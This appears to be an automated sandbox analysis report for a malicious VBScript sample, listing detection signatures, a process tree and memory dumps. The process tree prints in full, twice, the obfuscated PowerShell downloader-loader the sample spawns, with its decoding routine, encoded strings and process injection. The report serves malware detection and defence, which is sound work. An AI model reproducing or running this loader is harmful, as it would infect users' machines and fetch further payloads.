Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/07/2026, 05:43
General
- Target Laminaterne.vbs
- Size 22KB
- Sample260710-getm2se18v
- SHA256 1f08b33c61a20cb9327b1a529df79f2072ba72646631619e622eb0c1e6a6e8f7
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Laminaterne.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_uivgjkam.axd.ps1
lingala.Tab
memory/3816-4-0x000002AA42A40000-0x000002AA42A50000-memory.dmp
memory/3816-10-0x000002AA44B60000-0x000002AA44B82000-memory.dmp
memory/3816-13-0x000002AA42A40000-0x000002AA42A50000-memory.dmp
memory/3816-15-0x000002AA42A40000-0x000002AA42A50000-memory.dmp
memory/3816-17-0x000002AA42A40000-0x000002AA42A50000-memory.dmp
memory/4024-24-0x0000000005B10000-0x0000000005B76000-memory.dmp
memory/4024-36-0x0000000007AD0000-0x000000000814A000-memory.dmp
memory/4024-22-0x00000000053D0000-0x00000000053F2000-memory.dmp
memory/4024-32-0x0000000005C50000-0x0000000005FA4000-memory.dmp
memory/4024-21-0x0000000005470000-0x0000000005A98000-memory.dmp
memory/4024-34-0x0000000006290000-0x00000000062AE000-memory.dmp
memory/4024-35-0x0000000006330000-0x000000000637C000-memory.dmp
memory/4024-23-0x0000000005AA0000-0x0000000005B06000-memory.dmp
memory/4024-37-0x00000000067D0000-0x00000000067EA000-memory.dmp
memory/4024-39-0x0000000007650000-0x0000000007672000-memory.dmp
memory/4024-38-0x00000000076C0000-0x0000000007756000-memory.dmp
memory/4024-40-0x0000000008700000-0x0000000008CA4000-memory.dmp
memory/4024-20-0x0000000002970000-0x00000000029A6000-memory.dmp
memory/4024-42-0x0000000008CB0000-0x000000000CC14000-memory.dmp